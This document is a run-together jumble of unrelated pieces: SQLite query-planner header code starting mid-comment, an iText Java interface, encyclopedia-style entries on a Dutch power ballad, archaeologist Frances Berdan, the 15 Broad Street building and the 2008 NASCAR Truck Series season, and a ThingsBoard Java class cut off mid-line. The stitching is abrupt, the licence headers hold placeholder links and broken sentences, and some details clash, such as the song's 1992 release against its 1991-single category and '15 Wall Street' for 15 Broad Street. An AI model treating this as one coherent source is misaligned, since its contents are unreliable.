*/ Bitmask prereqRight; /* Bitmask of tables used by pExpr->pRight */ Bitmask prereqAll; /* Bitmask of tables referenced by pExpr */ }; /* ** Allowed values of WhereTerm.wtFlags */ #define TERM_DYNAMIC 0x01 /* Need to call sqlite3ExprDelete(db, pExpr) */ #define TERM_VIRTUAL 0x02 /* Added by the optimizer. Do not code */ #define TERM_CODED 0x04 /* This term is already coded */ #define TERM_COPIED 0x08 /* Has a child */ #define TERM_ORINFO 0x10 /* Need to free the WhereTerm.u.pOrInfo object */ #define TERM_ANDINFO 0x20 /* Need to free the WhereTerm.u.pAndInfo obj */ #define TERM_OR_OK 0x40 /* Used during OR-clause processing */ #ifdef SQLITE_ENABLE_STAT3_OR_STAT4 # define TERM_VNULL 0x80 /* Manufactured x>NULL or x<=NULL term */ #else # define TERM_VNULL 0x00 /* Disabled if not using stat3 */ #endif /* ** An instance of the WhereScan object is used as an iterator for locating ** terms in the WHERE clause that are useful to the query planner. */ struct WhereScan { WhereClause *pOrigWC; /* Original, innermost WhereClause */ WhereClause *pWC; /* WhereClause currently being scanned */ char *zCollName; /* Required collating sequence, if not NULL */ char idxaff; /* Must match this affinity, if zCollName!=NULL */ unsigned char nEquiv; /* Number of entries in aEquiv[] */ unsigned char iEquiv; /* Next unused slot in aEquiv[] */ u32 opMask; /* Acceptable operators */ int k; /* Resume scanning at this->pWC->a[this->k] */ int aEquiv[22]; /* Cursor,Column pairs for equivalence classes */ }; /* ** An instance of the following structure holds all information about a ** WHERE clause. Mostly this is a container for one or more WhereTerms. ** ** Explanation of pOuter: For a WHERE clause of the form ** ** a AND ((b AND c) OR (d AND e)) AND f ** ** There are separate WhereClause objects for the whole clause and for ** the subclauses "(b AND c)" and "(d AND e)". The pOuter field of the ** subclauses points to the WhereClause object for the whole clause. */ struct WhereClause { WhereInfo *pWInfo; /* WHERE clause processing context */ WhereClause *pOuter; /* Outer conjunction */ u8 op; /* Split operator. TK_AND or TK_OR */ int nTerm; /* Number of terms */ int nSlot; /* Number of entries in a[] */ WhereTerm *a; /* Each a[] describes a term of the WHERE cluase */ #if defined(SQLITE_SMALL_STACK) WhereTerm aStatic[1]; /* Initial static space for a[] */ #else WhereTerm aStatic[8]; /* Initial static space for a[] */ #endif }; /* ** A WhereTerm with eOperator==WO_OR has its u.pOrInfo pointer set to ** a dynamically allocated instance of the following structure. */ struct WhereOrInfo { WhereClause wc; /* Decomposition into subterms */ Bitmask indexable; /* Bitmask of all indexable tables in the clause */ }; /* ** A WhereTerm with eOperator==WO_AND has its u.pAndInfo pointer set to ** a dynamically allocated instance of the following structure. */ struct WhereAndInfo { WhereClause wc; /* The subexpression broken out */ }; /* ** An instance of the following structure keeps track of a mapping ** between VDBE cursor numbers and bits of the bitmasks in WhereTerm. ** ** The VDBE cursor numbers are small integers contained in ** SrcList_item.iCursor and Expr.iTable fields. For any given WHERE ** clause, the cursor numbers might not begin with 0 and they might ** contain gaps in the numbering sequence. But we want to make maximum ** use of the bits in our bitmasks. This structure provides a mapping ** from the sparse cursor numbers into consecutive integers beginning ** with 0. ** ** If WhereMaskSet.ix[A]==B it means that The A-th bit of a Bitmask ** corresponds VDBE cursor number B. The A-th bit of a bitmask is 1<<A. ** ** For example, if the WHERE clause expression used these VDBE ** cursors: 4, 5, 8, 29, 57, 73. Then the WhereMaskSet structure ** would map those cursor numbers into bits 0 through 5. ** ** Note that the mapping is not necessarily ordered. In the example ** above, the mapping might go like this: 4->3, 5->1, 8->2, 29->0, ** 57->5, 73->4. Or one of 719 other combinations might be used. It ** does not really matter. What is important is that sparse cursor ** numbers all get mapped into bit numbers that begin with 0 and contain ** no gaps. */ struct WhereMaskSet { int n; /* Number of assigned cursor values */ int ix[BMS]; /* Cursor assigned to each bit */ }; /* ** This object is a convenience wrapper holding all information needed ** to construct WhereLoop objects for a particular query. */ struct WhereLoopBuilder { WhereInfo *pWInfo; /* Information about this WHERE */ WhereClause *pWC; /* WHERE clause terms */ ExprList *pOrderBy; /* ORDER BY clause */ WhereLoop *pNew; /* Template WhereLoop */ WhereOrSet *pOrSet; /* Record best loops here, if not NULL */ #ifdef SQLITE_ENABLE_STAT3_OR_STAT4 UnpackedRecord *pRec; /* Probe for stat4 (if required) */ int nRecValid; /* Number of valid fields currently in pRec */ #endif }; /* ** The WHERE clause processing routine has two halves. The ** first part does the start of the WHERE loop and the second ** half does the tail of the WHERE loop. An instance of ** this structure is returned by the first half and passed ** into the second half to give some continuity. ** ** An instance of this object holds the complete state of the query ** planner. */ struct WhereInfo { Parse *pParse; /* Parsing and code generating context */ SrcList *pTabList; /* List of tables in the join */ ExprList *pOrderBy; /* The ORDER BY clause or NULL */ ExprList *pResultSet; /* Result set. DISTINCT operates on these */ WhereLoop *pLoops; /* List of all WhereLoop objects */ Bitmask revMask; /* Mask of ORDER BY terms that need reversing */ LogEst nRowOut; /* Estimated number of output rows */ u16 wctrlFlags; /* Flags originally passed to sqlite3WhereBegin() */ i8 nOBSat; /* Number of ORDER BY terms satisfied by indices */ u8 sorted; /* True if really sorted (not just grouped) */ u8 okOnePass; /* Ok to use one-pass algorithm for UPDATE/DELETE */ u8 untestedTerms; /* Not all WHERE terms resolved by outer loop */ u8 eDistinct; /* One of the WHERE_DISTINCT_* values below */ u8 nLevel; /* Number of nested loop */ int iTop; /* The very beginning of the WHERE loop */ int iContinue; /* Jump here to continue with next record */ int iBreak; /* Jump here to break out of the loop */ int savedNQueryLoop; /* pParse->nQueryLoop outside the WHERE loop */ int aiCurOnePass[2]; /* OP_OpenWrite cursors for the ONEPASS opt */ WhereMaskSet sMaskSet; /* Map cursor numbers to bitmasks */ WhereClause sWC; /* Decomposition of the WHERE clause */ WhereLevel a[1]; /* Information about each nest loop in WHERE */ }; /* ** Bitmasks for the operators on WhereTerm objects. These are all ** operators that are of interest to the query planner. An ** OR-ed combination of these values can be used when searching for ** particular WhereTerms within a WhereClause. */ #define WO_IN 0x001 #define WO_EQ 0x002 #define WO_LT (WO_EQ<<(TK_LT-TK_EQ)) #define WO_LE (WO_EQ<<(TK_LE-TK_EQ)) #define WO_GT (WO_EQ<<(TK_GT-TK_EQ)) #define WO_GE (WO_EQ<<(TK_GE-TK_EQ)) #define WO_MATCH 0x040 #define WO_ISNULL 0x080 #define WO_OR 0x100 /* Two or more OR-connected terms */ #define WO_AND 0x200 /* Two or more AND-connected terms */ #define WO_EQUIV 0x400 /* Of the form A==B, both columns */ #define WO_NOOP 0x800 /* This term does not restrict search space */ #define WO_ALL 0xfff /* Mask of all possible WO_* values */ #define WO_SINGLE 0x0ff /* Mask of all non-compound WO_* values */ /* ** These are definitions of bits in the WhereLoop.wsFlags field. ** The particular combination of bits in each WhereLoop help to ** determine the algorithm that WhereLoop represents. */ #define WHERE_COLUMN_EQ 0x00000001 /* x=EXPR */ #define WHERE_COLUMN_RANGE 0x00000002 /* x<EXPR and/or x>EXPR */ #define WHERE_COLUMN_IN 0x00000004 /* x IN (...) */ #define WHERE_COLUMN_NULL 0x00000008 /* x IS NULL */ #define WHERE_CONSTRAINT 0x0000000f /* Any of the WHERE_COLUMN_xxx values */ #define WHERE_TOP_LIMIT 0x00000010 /* x<EXPR or x<=EXPR constraint */ #define WHERE_BTM_LIMIT 0x00000020 /* x>EXPR or x>=EXPR constraint */ #define WHERE_BOTH_LIMIT 0x00000030 /* Both x>EXPR and x<EXPR */ #define WHERE_IDX_ONLY 0x00000040 /* Use index only - omit table */ #define WHERE_IPK 0x00000100 /* x is the INTEGER PRIMARY KEY */ #define WHERE_INDEXED 0x00000200 /* WhereLoop.u.btree.pIndex is valid */ #define WHERE_VIRTUALTABLE 0x00000400 /* WhereLoop.u.vtab is valid */ #define WHERE_IN_ABLE 0x00000800 /* Able to support an IN operator */ #define WHERE_ONEROW 0x00001000 /* Selects no more than one row */ #define WHERE_MULTI_OR 0x00002000 /* OR using multiple indices */ #define WHERE_AUTO_INDEX 0x00004000 /* Uses an ephemeral index */ #define WHERE_SKIPSCAN 0x00008000 /* Uses the skip-scan algorithm */ #define WHERE_UNQ_WANTED 0x00010000 /* WHERE_ONEROW would have been helpful*/ #ifdef GD_ENABLE_NEWSQL_SERVER /* HASH JOIN */ #define WHERE_HASH_INDEX 0x00020000 /* Uses a hash index */ #endif ```
```java /* This file is part of the iText (R) project. Authors: Apryse Software. This program is offered under a commercial and under the AGPL license. For commercial licensing, contact us at path_to_url For AGPL licensing, see below. AGPL licensing: This program is free software: you can redistribute it and/or modify (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the along with this program. If not, see <path_to_url */ package com.itextpdf.commons.bouncycastle.asn1; /** * This interface represents the wrapper for DERTaggedObject that provides the ability * to switch between bouncy-castle and bouncy-castle FIPS implementations. */ public interface IDERTaggedObject extends IASN1TaggedObject { } ```
"Over and Over Again" is a power ballad by the Dutch singer-songwriter Robby Valentine from his self-titled album released in 1992. It was his biggest hit single, peaked at #6 on Dutch Singles Chart. Charts References External links Robby Valentine's "Over and Over Again" on Last.fm 1990s ballads 1991 singles 1991 songs Pop ballads Rock ballads Soft rock songs
Frances F. Berdan (born May 31, 1944) is an American archaeologist specializing in the Aztecs and professor emerita of anthropology at California State University, San Bernardino. Berdan has authored many influential books about the Aztec civilization. In 1983, she received an "Outstanding Professor" award from California State University. In 1986, she was a fellow at Dumbarton Oaks with Michael E. Smith and other prominent Mesoamerican scholars. The result of that stay was the book Aztec Imperial Strategies (1986). Works References Mesoamerican archaeologists Aztec scholars Living people 20th-century Mesoamericanists 21st-century Mesoamericanists 1944 births American women archaeologists 20th-century American women writers 21st-century American women writers 20th-century American historians 21st-century American historians 20th-century American archaeologists 21st-century American archaeologists California State University, San Bernardino faculty American women historians
15 Broad Street (formerly known as the Equitable Trust Building) is a residential condominium and former office building in the Financial District of Manhattan, New York City, on the eastern side of Broad Street between Wall Street and Exchange Place. It has entrances at 51 Exchange Place and 35 Wall Street. It was completed in 1928 and ranked among the 20 largest office buildings in the world in 1931. Architecture The building was built in the neoclassical style for the Equitable Trust Company and was therefore called the Equitable Trust Building. The architects were Trowbridge & Livingston, who also drew plans for the adjacent structures at 14 Wall Street, New York Stock Exchange Building annex, and 23 Wall Street. The builder was the Thompson–Starrett Co. The layout of the building is L-shaped, wrapping around 23 Wall Street. The building is 540 feet high and has 43 floors. The assumed value in 1931 was $17,250,000. The facade is made out of grey brick stone, while the limestone base echoes the facade of neighboring 23 Wall Street. The rent area was ; the interior was originally luxuriously fitted out. History Construction and early years 15 Wall Street replaced the 10-story Mills Building (completed 1882) and another building on the site. The skyscraper contained a truss that spanned above 23 Wall Street. to allow the inclusion of this truss, J.P. Morgan & Co., which occupied the immediately adjoining 23 Wall Street, sold the air rights above that building to the Equitable Trust Company, for which 15 Broad Street was being constructed. To prevent damage to the older structure, heavy timbers were placed on 23 Wall Street's roof while the skyscraper was being built. The building was completed in 1928. The Equitable Trust Co. was one of the units of the Chase National Bank organizations, one of the largest and most powerful banking institutions in the world at the time. The law firm Davis Polk & Wardwell was located in the predecessor building from around 1889 and moved out when it was demolished, but returned to the address into the newly completed building and stayed there until 1959. First remodeling In late 1955, J.P. Morgan & Co. arranged to purchase 15 Broad Street from the Chase Manhattan Bank, which then owned the building. Chase wanted to build a new headquarters at 28 Liberty Street and was selling 15 Broad Street to raise money for the project. Once the sale was concluded the following March, J.P. Morgan & Co. announced that Turner Construction would extensively renovate the building to plans by Rogers & Butler. The work involved adding air-conditioning, adding a ground-floor entrance at 35 Wall Street, and installing cooling towers on the roof. The work was to be complete in mid-1957. The building was also linked to 23 Wall Street as part of the project. Morgan & Co. became the Morgan Guaranty Trust Company in 1959 following a merger with the Guaranty Trust Company. Morgan Guaranty considered constructing additional stories atop 23 Wall Street as well as replacing both structures with one headquarters. A major renovation commenced in the two buildings in 1962, in preparation for their conversion into a headquarters for Morgan Guaranty. The company's old headquarters at 140 Broadway was being demolished to make way for the Marine Midland Bank Building. The renovation was completed in 1964. Condominium conversion 15 Broad Street and 23 Wall Street were sold in 2003 for $100 million to Africa Israel and Boymelgreen. The conversion came after plans to have the building demolished for a new stock exchange building were dropped. The building became a luxury condominium development called Downtown, designed by French product designer Philippe Starck along with project architect Ismael Leyva and developer A.I. & Boymelgreen, making it one of a growing number of residential buildings in the Financial District. Remodeling was largely completed at the end of May 2007. According to Real Estate Weekly, by November 2006, 98% of the apartments had been sold. Prices for the 326 units ranged from about $335,000 for a studio to $4.6 million for a two-bedroom apartment with a terrace. The building is fitted with many amenities such as a gym, swimming pool, dance and yoga studio, squash court, bowling alley, business centre, movie theater, lounge and an in-house dry cleaning service amongst other things. The original 1,900-piece Louis Quinze chandelier that used to hang in the main hall of J. P. Morgan's 23 Wall Street was given by Morgan to be displayed in the lobby of 15 Broad Street. According to the architect Phlippe Starck, many pieces had come from Austria-Hungary before World War I and have been identified by him as Swarovski crystal. Starck made the roof of 23 Wall into a garden with children's pool and dining area, accessible to the residents of the development. References External links Office buildings completed in 1928 House of Morgan Residential buildings in Manhattan Wall Street Financial District, Manhattan
The 2008 NASCAR Craftsman Truck Series was the fourteenth season of the Craftsman Truck Series, the third highest stock car racing series sanctioned by NASCAR in the United States. It was contested over twenty-five races, beginning with the Chevy Silverado HD 250 at Daytona International Speedway and ending with the Ford 200 at Homestead-Miami Speedway. Johnny Benson of Bill Davis Racing was crowned champion. The season was also the last under the Craftsman sponsorship banner until the 2023 season. Sears Holdings Corporation, the owners of the Craftsman brand name of tools, withdrew sponsorship at the end of the season. On October 23, NASCAR officials confirmed that Camping World would become the title sponsor beginning with the 2009 season. 2008 teams and drivers Full-time teams Part-time teams Races Chevy Silverado HD 250 The Chevy Silverado HD 250 was held February 15 at Daytona International Speedway. Erik Darnell won the pole. Anticipating another three wide finish such as the ones in 2003 and 2007, Darnell hoped to squash those hopes, and nearly did so by dominating the early portions of the race. During the early stages, multiple wrecks came about, including "The Big One" on lap 20, which was started when Brendan Gaughan made contact with an extremely tight Mike Skinner, forcing him up the racetrack and into the path of Matt Crafton, who also collected Ted Musgrave, Jon Wood, Chad Chaffin, and most notably P. J. Jones whose No. 63 truck caught fire trying to avoid the wreck, forcing a red flag. Only three laps later did the next wreck strike, with Joey Clanton getting loose and spinning, collecting outside polesitter Terry Cook, Mike Bliss, and ROTY contenders Colin Braun and Justin Marks. Darnell had the race in hand until green flag pitstops began at lap 84. Todd Bodine grabbed the lead from the dominant Darnell, who thought he had a loose wheel. While slowing to enter pit road, Marks was unaware that Darnell was pitting and the two made contact, ending Darnell's night. After the pit stop, Bodine would not look back, holding off a hard charging Kyle Busch and Johnny Benson for his first ever win at Daytona. Top ten results: Did not qualify: Brian Sockwell (#54). NOTE: Todd Bodine suffered a 25-point penalty when an illegal part was found on his truck during pre-qualifying inspection. San Bernardino County 200 The San Bernardino County 200 was held February 23 at the newly renamed Auto Club Speedway. As all of Friday's activities were cancelled due to rain, Truck qualifying and the race were both cancelled, with the race being pushed back to Saturday morning. Based on the 2007 owners points, defending champion Ron Hornaday Jr. was on pole. However, the race would mostly be dominated by Kyle Busch, coming out of a frustrating Speedweeks. Busch would dominate, leading the first 51 laps. However, Daytona winner Todd Bodine ran down Busch and passed him on the backstretch just after the halfway point. After the final round of green flag pit stops, Busch regained the lead by 3.5 seconds over Bodine and never looked back, cruising to his first Truck Series win of the season. Top ten results: Did not qualify: None, only 35 entries. American Commercial Lines 200 The American Commercial Lines 200 was held on March 7 at Atlanta Motor Speedway. Defending series champion Ron Hornaday Jr. won the pole. Hornaday would also dominate the race on long runs, leading for 81 laps. However, the critical moment of the race was on lap 112 when Kyle Busch's crew chief, Richie Wauters brought his driver into the pits after a ten-minute rain delay on lap 111. The stop forced leader Hornaday to pit a lap later. Busch took the lead from Hornaday within 10 laps to go, and held of Hornaday over a four lap sprint to the finish to take his second consecutive victory. Top ten results: Did not qualify: None, only 32 entries. Kroger 250 The Kroger 250 was held March 29 at Martinsville Speedway. Jack Sprague won the track record breaking pole. The race would instead be dominated by "Short Track Slayer" Dennis Setzer, whose team, Bobby Hamilton Racing-Virginia, had recently moved to the Martinsville area to be more competitive. This competitiveness showed when Setzer took the lead on lap 128 when debutant Brent Raymer spun in front of leader Kyle Busch. Setzer would lead the rest of the way thanks to nine more cautions. Although the race went on for an extra three laps, Setzer would hang on for his first win since he won Mansfield (also on fuel mileage) with the defunct Spears Motorsports. However, behind Setzer it was complete chaos. While Setzer was rounding turn 4 to take the win, Busch, in a desperate attempt to take second, Busch attempted to drive underneath Johnny Benson However, Busch's left side hit the apron, sending both Benson Jr. and Busch spinning to 25th and 26th-place finishes. The win was emotional for the whole team as it was their first win since Bobby Hamilton won at Mansfield in 2005. Did not qualify: None, only 36 entries. O'Reilly Auto Parts 250 The O'Reilly Auto Parts 250 was held on April 26 at Kansas Speedway. Ron Hornaday Jr. started from pole. For the first time this season, points leader Kyle Busch was absent in this race, due to a conflict between the finish of the Aaron's 312 and the start of the Truck race. With a new truck and the guidance of crew chief Rick Ren, Hornaday dominated the race, leading 136 of 167 laps en route to his first win of the season. Making the win even sweeter was the fact that it was a KHI 1–2 finish with new teammate Jack Sprague close behind. Rookie Colin Braun rounded out the "podium" although controversially as he was involved in incidents with veterans Sprague and Matt Crafton. Did not qualify: None, only 36 entries. North Carolina Education Lottery 200 The North Carolina Education Lottery 200 was held on May 16 at Lowe's Motor Speedway. Kyle Busch won the pole. Busch would dominate for 86 laps at the site of his first ever truck series win. On lap 104, Busch collided with defending champion Ron Hornaday Jr., sending both trucks into the turn 3 wall and out of contention to win. Late in the race with seven laps to go, Erik Darnell was leading the field to the green on a restart when his tires spun, taking him out of contention. As Johnny Benson moved by Darnell for the top spot, NASCAR penalized Benson Jr. for jumping the start. In the lead during the next restart would be Matt Crafton, followed by a resurgent Hornaday and Todd Bodine. On the subsequent restart, Bodine sent Hornaday spinning into turn one, handing second and third to Chad McCumbee and Brendan Gaughan, respectively. Despite a valiant run by McCumbee on the backstretch, Crafton would take home an upset victory, his first in 178 races and the first for ThorSport Racing in a decade (Terry Cook's first win at Flemington Speedway). Did not qualify: Nick Tucker (#73), Wayne Edwards (#28). Ohio 250 The Ohio 250 was held on May 24 at Mansfield Motorsports Park. Johnny Benson won the pole. As with most Mansfield races, the action was expected to be tight and dramatic, with fuel mileage playing out in the latter half. With the downsizing in fuel cells to 18 gallons, it was deemed mathematically impossible for any driver in the field to repeat Dennis Setzer's no stop victory the previous year. With a record 15 cautions, the best of the afternoon was saved for the last part of the race. David Starr and his Red Horse Racing team had dominated the day, leading 170 laps in total. However, in the final laps, Starr's seemingly inevitable victory would be done in. Rookie Donny Lia, who had started 28th, had worked his way through the field and to the rear tailgate of Starr's truck. On the final lap, Lia daringly pulled the bump and run on Starr exiting turn 2. The two drivers along with Todd Bodine made it three wide on the backstretch. Lia would gain the advantage heading into turn three and the 2007 Whelen Modified Tour champion would hang on to take the first ever win for both him and his upstart team, legendary road racing team TRG Motorsports, as well as the second consecutive first time winner for the 2008 season. Did not qualify: None, only 36 entries. AAA Insurance 200 The AAA Insurance 200 was held on May 30 at Dover International Speedway. Mike Skinner won the pole. Skinner would not lead for long as the dominant Kyle Busch would take the top spot and stay there for the first 96 laps. However, heavy smoke was billowing from Busch's No. 51 truck, forcing him to the garage with transmission troubles and knocking him out of contention. Taking over the top spot would be Todd Bodine, who would stay out on a lap 133 restart with Shane Sieg. Making only his sixth start in NASCAR competition and running on two tires, ex-Formula One driver Scott Speed lived up to his name and opened up a four-second lead on Ron Hornaday Jr. Although Speed's lead would be cut due to Bodine crashing on lap 170, he would hold off veterans Hornaday and Jack Sprague to become the third consecutive first time winner for the 2008 season. The other time this happened was in 1998, with Andy Houston (Loudon), Terry Cook (Flemington), and Jimmy Hensley (Music City) Did not qualify: None, only 36 entries. Sam's Town 400 The Sam's Town 400 was held June 6 at Texas Motor Speedway. Justin Marks won his first career pole. As the series was on a streak of three consecutive first time winners, many looked towards Chad McCumbee, who had nearly won the fall Texas race in '07, polesitter Marks, and Plano native Colin Braun. It was not just the young drivers seeking the win at Texas, but veterans as well, such as defending champion Ron Hornaday Jr., Mike Skinner, who started on the front row at Texas for his eighth consecutive start had never won, and Brendan Gaughan, who literally turned the track into his personal playground in both '02 and '03. Although Marks led early he would fall back to 8th before the first round of pit stops. As usual, Cup series points leader Kyle Busch would also be a factor in the race. Although Busch started in the back (Shane Sieg qualified the No. 51 truck while Busch was in Pocono, Pennsylvania and he also missed the drivers meeting.) he was able to work his way into the top 10 within 60 laps. However, Busch's fortunes would be undone as he had not had the proper seat time to adjust the truck. All the while, "Restart Master" Hornaday would lead a record 140 laps (breaking Greg Biffle's record of 119) and hold off Busch on a green-white-checkered to take his first win at Texas. Did not qualify: None, only 35 entries. Cool City Customs 200 The Cool City Customs 200 was held on June 14 at Michigan International Speedway. Mike Skinner won the pole. Skinner would only lead the opening lap before falling back and eventually finishing 8th. From then on, the race would be dominated by Todd Bodine who would lead for 39 laps. However, the final pit stop, it would be Erik Darnell taking the top spot, holding it for the final 25 circuits. However, a late caution came out with three to go, setting up a fast finish. On the last lap, Johnny Benson took the lead from Darnell in turn 3 and the two were side by side on the frontstretch. In the final 50 yards it appeared as though Benson Jr. would win by a nose, but Darnell surged at the last minute with a side draft and beat Benson to the line by less than 0.005 seconds, the second closest finish in Truck Series history. During the final lap, points leader Ron Hornaday Jr. was running fourth after starting in the back due to an engine change. In turn 2, Hornaday was spun by Kyle Busch into the infield, but no caution came out, handing Hornaday a 23rd-place finish and the loss of the points lead. After the race Hornaday and team owner Kevin Harvick confronted Busch on pit road. Did not qualify: None, only 34 entries. Camping World RV Sales 200 The Camping World RV Sales 200 was held June 20 at Milwaukee Mile. Johnny Benson took the pole and won the race. Top ten results: Did not qualify: None, only 36 entries. O'Reilly 200 The O'Reilly 200 was held June 28 at Memphis Motorsports Park. Johnny Benson took the pole but Ron Hornaday Jr. won the race. Top ten results: Did not qualify: None, only 35 entries. Built Ford Tough 225 The Built Ford Tough 225 was held July 19 at Kentucky Speedway. Mike Skinner took the pole but Johnny Benson won the race. Top ten results: Did not qualify: Wayne Edwards (#28). Power Stroke Diesel 200 The Power Stroke Diesel 200 was held July 25 at O'Reilly Raceway Park. Bobby East took his first Craftsman Truck Series pole but Johnny Benson won the race. Top ten results: Did not qualify: None, only 34 entries. Toyota Tundra 200 The Toyota Tundra 200 was held August 9 at Nashville Superspeedway. Todd Bodine took the pole but Johnny Benson won the race. Top ten results: Did not qualify: None, only 34 entries. NOTE: Todd Bodine suffered a 25-point penalty for an illegal modification to his truck found in post race inspection. O'Reilly 200 (Bristol) The O'Reilly 200 was held on August 20 at Bristol Motor Speedway. Scott Speed won the pole and would fall back and eventually finished 3rd. Top ten results: Did not qualify: Norm Benning (#57). • Jimmie Johnson would make his lone career Truck Series start to date, driving the #81 Lowe's/Kobalt Tools Chevrolet Silverado for Randy Moss Motorsports. He would lead 28 laps and finish 34th after crashing on lap 102. Camping World 200 The Camping World 200 was held September 6 at Gateway International Raceway. Dennis Setzer took the pole but Ron Hornaday Jr. won the race. Top ten results: Did not qualify: None, only 35 entries. Camping World RV Rental 200 The Camping World RV Rental 200 was held on September 13 at New Hampshire Motor Speedway. Ron Hornaday Jr. won the race and there was a large post race scuffle after the race between the crews of Todd Bodine and David Starr. Top ten results: Did not qualify: None, only 33 entries. Qwik Liner Las Vegas 350 The Qwik Liner Las Vegas 350 was held September 20 at Las Vegas Motor Speedway. Ron Hornaday Jr. won the pole. Hornaday would be passed by Mike Skinner after the opening lap. During a series of pit stops, points leader Johnny Benson decided to stay out, despite the fact his tires were old. He would lead for 26 laps before the right front tire went flat, sending Benson Jr. into the wall and ending his bid for the win. After pit stops following a caution by Dennis Setzer and Shane Sieg, Erik Darnell would take the lead stay there for 56 laps, leading the most. However, Mike Skinner chased down Darnell on the white flag lap and was side by side with him along the backstretch. Darnell side drafted Skinner to retake the lead coming out of turn 4 but Skinner hit Darnell's side, breaking the No. 99's momentum and taking Skinner to his first win of 2008. Top ten results: Did not qualify: None, only 31 entries. Mountain Dew 250 The Mountain Dew 250 was held on October 4 at Talladega Superspeedway. Erik Darnell won the pole. The points race had tightened with Johnny Benson only a single point ahead of defending champion Ron Hornaday Jr. Like Daytona, Darnell dominated the race, leading 48 laps with teammates Colin Braun and John Wes Townley close behind. Townley would later be spun unintentionally by defending race winner Todd Bodine while on pit road at lap 50. Alabama native Rick Crawford earned a speeding penalty during the series of pit stops, ending his chances at a home state victory. After another series of green flag pit stops, John Andretti, Braun, Kyle Busch, and Brian Scott took turns leading until 14 to go when Busch, Hornaday, and Bodine all pulled away. With 1 to go Braun was pushed into the lead by T. J. Bell, but was later passed by Busch on the backstretch. However, Bodine pulled the "bump and run" on Busch, loosening him and eventually passing him for the win, with new points leader Hornaday in tow. Top ten results: Did not qualify: None, only 33 entries. Kroger 200 The Kroger 200 was held October 18 at Martinsville Speedway. Ron Hornaday Jr. took the pole but Johnny Benson won the race. Top ten results: Did not qualify: Tayler Malsam (#41), Robert Bruce (#73), Russ Dugger (#89), Craig Wood (#50). E-Z-GO 200 The E-Z-GO 200 was held October 25 at Atlanta Motor Speedway. Ryan Newman won his first ever Craftsman Truck Series race in his first start. Top ten results: Did not qualify: None, only 33 entries. Chevy Silverado 350K The Chevy Silverado 350K was held October 31 at Texas Motor Speedway in Fort Worth, Texas. Rick Crawford won the pole. The sparks flew early on lap 2 as Travis Kvapil, attempting a three wide pass, pushed rookie Cale Gale into the left side of Crawford's truck. Gale's resultant spin forced T. J. Bell to hit his brakes, but Todd Bodine couldn't avoid Bell and tapped him up the track while also turning Jon Wood into the wall. Gale's car steered from the wall and hit Bell's rear quarter panel, sending him into the fence. At lap 51, spring Texas winner Ron Hornaday Jr. passed Kyle Busch for the lead. While Hornaday was pitting on lap 56, Jack Smith spun on the backstretch, pinning Hornaday a lap down. 10 laps later Hornaday would be in 16th thanks to a caution. Hornaday would charge to the lead, passing Kvapil on lap 108 and holding off Busch to sweep at Texas and cut Johnny Benson's point lead down to only six points. Top ten results: Did not qualify: None, only 34 entries. Lucas Oil 150 (Phoenix) The Lucas Oil 150 was held November 7 at Phoenix International Raceway. Ron Hornaday Jr. took the pole but Kevin Harvick won the race. Top ten results: Did not qualify: None, only 35 entries. Ford 200 The Ford 200 was held November 14 at Homestead-Miami Speedway. Mike Skinner took the pole but Todd Bodine won the race. Top ten results: Did not qualify: Mike Harmon (#89). Full Drivers' Championship (key) Bold – Pole position awarded by time. Italics – Pole position set by owner's points. * – Most laps led. See also 2008 NASCAR Sprint Cup Series 2008 NASCAR Nationwide Series 2008 NASCAR Camping World East Series 2008 NASCAR Camping World West Series 2008 NASCAR Corona Series 2008 NASCAR Canadian Tire Series References External links NASCAR official website NASCAR Craftsman Truck Series Home Page Truck Series Standings and Statistics for 2008 NASCAR Truck Series seasons
```java /** * * * path_to_url * * Unless required by applicable law or agreed to in writing, software * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ package org.thingsboard.server.service.edge.rpc.processor.device.profile; import lombok.extern.slf4j.Slf4j; import org.springframework.data.util.Pair; import org.thingsboard.server.common.data.DeviceProfile; import org.thingsboard.server.common.data.StringUtils; import org.thingsboard.server.common.data.id.DashboardId; import org.thingsboard.server.common.data.id.DeviceProfileId; import org.thingsboard.server.common.data.id.RuleChainId; import org.thingsboard.server.common.data.id.TenantId; import org.thingsboard.server.gen.edge.v1.DeviceProfileUpdateMsg; import org.thingsboard.server.service.edge.rpc.processor.BaseEdgeProcessor; @Slf4j public abstract class BaseDeviceProfileProcessor extends BaseEdgeProcessor { protected Pair<Boolean, Boolean> saveOrUpdateDeviceProfile(TenantId tenantId, DeviceProfileId deviceProfileId, DeviceProfileUpdateMsg deviceProfileUpdateMsg) { boolean created = false; boolean deviceProfileNameUpdated = false; deviceCreationLock.lock(); try { DeviceProfile deviceProfile = constructDeviceProfileFromUpdateMsg(tenantId, deviceProfileId, deviceProfileUpdateMsg); if (deviceProfile == null) { throw new RuntimeException("[{" + tenantId + "}] deviceProfileUpdateMsg {" + deviceProfileUpdateMsg + "} cannot be converted to device profile"); } DeviceProfile deviceProfileById = deviceProfileService.findDeviceProfileById(tenantId, deviceProfileId); if (deviceProfileById == null) { created = true; deviceProfile.setId(null); deviceProfile.setDefault(false); } else { deviceProfile.setId(deviceProfileId); deviceProfile.setDefault(deviceProfileById.isDefault()); } String deviceProfileName = deviceProfile.getName(); DeviceProfile deviceProfileByName = deviceProfileService.findDeviceProfileByName(tenantId, deviceProfileName); if (deviceProfileByName != null && !deviceProfileByName.getId().equals(deviceProfileId)) { deviceProfileName = deviceProfileName + "_" + StringUtils.randomAlphabetic(15); log.warn("[{}] Device profile with name {} already exists. Renaming device profile name to {}", tenantId, deviceProfile.getName(), deviceProfileName); deviceProfileNameUpdated = true; } deviceProfile.setName(deviceProfileName); RuleChainId ruleChainId = deviceProfile.getDefaultRuleChainId(); setDefaultRuleChainId(tenantId, deviceProfile, created ? null : deviceProfileById.getDefaultRuleChainId()); setDefaultEdgeRuleChainId(deviceProfile, ruleChainId, deviceProfileUpdateMsg); setDefaultDashboardId(tenantId, created ? null : deviceProfileById.getDefaultDashboardId(), deviceProfile, deviceProfileUpdateMsg); deviceProfileValidator.validate(deviceProfile, DeviceProfile::getTenantId); if (created) { deviceProfile.setId(deviceProfileId); } deviceProfileService.saveDeviceProfile(deviceProfile, false, true); } catch (Exception e) { log.error("[{}] Failed to process device profile update msg [{}]", tenantId, deviceProfileUpdateMsg, e); throw e; } finally { deviceCreationLock.unlock(); } return Pair.of(created, deviceProfileNameUpdated); } protected abstract DeviceProfile 